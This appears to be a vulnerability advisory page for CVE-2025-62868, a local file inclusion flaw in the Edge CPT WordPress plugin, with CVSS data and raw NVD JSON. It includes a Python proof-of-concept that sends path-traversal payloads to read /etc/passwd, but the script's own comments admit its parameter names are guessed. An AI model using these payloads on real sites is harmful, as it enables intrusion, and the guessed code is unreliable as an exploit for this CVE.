Security Vulnerability Report
中文
CVE-2025-62868 CVSS 8.1 HIGH

CVE-2025-62868

Published: 2025-10-24 08:15:34
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Edge CPT allows PHP Local File Inclusion.This issue affects Edge CPT: from n/a through 1.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Edge CPT < 1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62868 PoC - Local File Inclusion in Edge CPT # Note: This is for educational and authorized testing purposes only import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """ Test for Local File Inclusion vulnerability """ # Common vulnerable patterns in WordPress plugins payloads = [ f'{file_path}', f'../../../../{file_path}', f'../../../../../../{file_path}', f'....//....//....//....//{file_path}', f'%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{file_path}' ] print(f'[*] Testing target: {target_url}') print(f'[*] Attempting to read: {file_path}') for payload in payloads: try: # Typical vulnerable parameter names params = { 'action': 'edge_cpt_include', # Example action 'file': payload } response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: if 'root:' in response.text or 'bin:' in response.text: print(f'[+] Potential LFI found with payload: {payload}') print(f'[+] Response preview: {response.text[:200]}...') return True except requests.RequestException as e: print(f'[-] Error testing payload {payload}: {e}') print('[-] No obvious LFI detected') return False if __name__ == '__main__': if len(sys.argv) > 1: target = sys.argv[1] test_lfi(target) else: print('Usage: python cve-2025-62868-poc.py <target_url>') print('Example: python cve-2025-62868-poc.py http://example.com/wp-admin/admin-ajax.php')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62868", "sourceIdentifier": "[email protected]", "published": "2025-10-24T08:15:34.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Edge CPT allows PHP Local File Inclusion.This issue affects Edge CPT: from n/a through 1.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/edge-cpt/security-policy/vdp/vulnerability/wordpress-edge-cpt-plugin-1-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}